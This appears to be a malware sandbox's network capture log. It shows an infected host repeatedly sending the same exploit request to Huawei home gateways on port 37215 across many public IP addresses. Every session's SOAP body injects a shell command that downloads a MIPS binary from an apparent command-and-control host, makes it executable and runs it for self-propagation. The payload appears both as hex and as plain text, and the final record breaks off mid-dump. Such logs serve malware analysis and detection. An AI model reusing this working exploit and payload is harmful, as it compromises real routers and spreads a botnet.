Nov 3, 2024 15:37:09.474181890 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.14	38920	197.232.152.222	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474198103 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.14	54724	41.52.246.8	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474215984 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.14	39846	197.168.30.174	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474252939 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.14	38146	156.170.219.169	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474271059 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.14	53218	197.115.233.122	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474291086 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.14	54374	156.255.233.107	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474313021 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.14	48004	41.170.228.200	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474348068 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.14	45648	41.63.131.123	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474370956 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.14	37898	156.70.142.30	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474389076 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.14	46460	156.160.136.145	37215

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 15:37:09.474399090 CET	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 